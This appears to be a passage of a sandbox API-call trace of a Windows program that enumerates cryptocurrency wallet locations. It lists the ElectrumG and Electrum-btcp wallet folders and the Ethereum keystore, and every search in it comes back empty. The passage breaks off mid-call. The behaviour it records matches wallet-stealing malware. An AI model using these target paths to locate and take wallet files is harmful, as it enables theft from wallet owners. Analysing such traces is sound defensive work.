psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7e01bc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x36 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0165.648] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x35 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0165.649] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0165.649] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x35 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0165.649] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0165.649] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.649] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0165.649] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x35 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0165.649] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0165.650] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.650] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.650] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.650] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.650] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.651] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-btcp\\wallets\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 0x39 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%appdata%\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ù}\x1e\x09\x04", lpUsedDefaultChar=0x0) returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1fcee718*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1fcee718*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.651] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x3a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x3a | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x3a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x39 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0165.652] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x39 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0165.653] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.653] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x39 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x39 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x39 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.653] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x38 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0165.653] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.653] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.654] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Ethereum\\keystore\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 0x35 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%APPDATA%\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="UTC*", cchWideChar=4, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UTC*\x09\x04", lpUsedDefaultChar=0x0) returned 4 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7e01bc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7e01bc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.654] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x36 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x35 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x35 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0165.655] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0165.655] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\*", lpFindFileData=0x1e7df984 | out: 